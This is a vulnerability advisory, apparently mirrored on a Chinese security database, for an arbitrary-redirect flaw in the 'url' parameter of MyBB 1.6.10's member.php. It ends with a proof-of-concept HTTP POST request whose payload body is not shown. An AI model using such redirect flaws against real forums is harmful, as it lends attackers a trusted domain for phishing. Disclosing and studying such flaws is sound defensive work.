MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044674 漏洞类型
发布时间 2013-08-07 更新时间 2013-08-07
漏洞平台 N/A CVSS评分 N/A
MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability

Vendor: MyBB Group
Product web page:
Affected version: 1.6.10

Summary: MyBB, also known as MyBBoard or MyBulletinBoard, is a powerful,
efficient, and free forum package, developed using PHP and MySQL.

Desc: Input passed via the 'url' parameter in 'member.php' script is not
properly verified before being used to redirect users. This can be exploited
to redirect a user to an arbitrary website e.g. when a user clicks a specially
crafted link to the affected script hosted on a trusted domain.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2013-5152
Advisory URL:



POST /mybb/member.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/mybb/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133